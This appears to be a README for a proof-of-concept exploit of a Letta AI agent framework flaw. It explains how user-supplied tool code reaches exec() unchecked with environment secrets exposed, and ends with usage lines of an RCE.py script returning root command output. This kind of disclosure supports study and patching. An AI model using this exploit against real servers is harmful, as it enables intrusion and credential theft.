kai-one001/letta-cve-2025-51482-rceProof-of-concept exploit for CVE-2025-51482, demonstrating remote code execution via unsafe exec() usage and sandbox bypass in the Letta AI agent framework. Includes vulnerability analysis and exploitation script.
Problem: The system does not perform any security inspection on user-provided source code.
Evidence:
generate_execution_script method directly inserts user code into the execution script:
code += "\n" + self.tool.source_code + "\n"
No AST analysis to detect dangerous operations (e.g., os.system, subprocess.call, eval, etc.)
No import restrictions or module whitelist
exec()Problem: Direct use of exec() to execute user code, with the global dictionary containing environment variables.
Evidence:
globals_dict = *dict*(env) # Environment variables directly exposed to user code
exec(code_obj, globals_dict)
Problem: All environment variables are exposed to user code, including sensitive information.
Evidence:
env = os.environ.copy() # Copy all system environment variables
env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(...)
env.update(env_vars) # Add sandbox environment variables
Problem: The privileged_tools mechanism can be bypassed.
Evidence:
if tool_settings.e2b_api_key and not self.privileged_tools:
# Use e2b sandbox (relatively safe)
else:
# Use local sandbox (unsafe)
If the organization sets privileged_tools=True or does not configure an e2b API key, the system falls back to unsafe local execution.
Problem: No validation or sanitization is performed on user-supplied source code.
Evidence: The ToolRunFromSource mode accepts arbitrary strings as source code:
source_code: *str* = Field(..., *description*="The source code of the function.")
Example:
python RCE.py -u http://192.168.63.131:8283/
[+] Command executed successfully:
uid=0(root) gid=0(root) groups=0(root)
python RCE.py -u http://192.168.63.131:8283/ -c whoami
[+] Command executed successfully:
root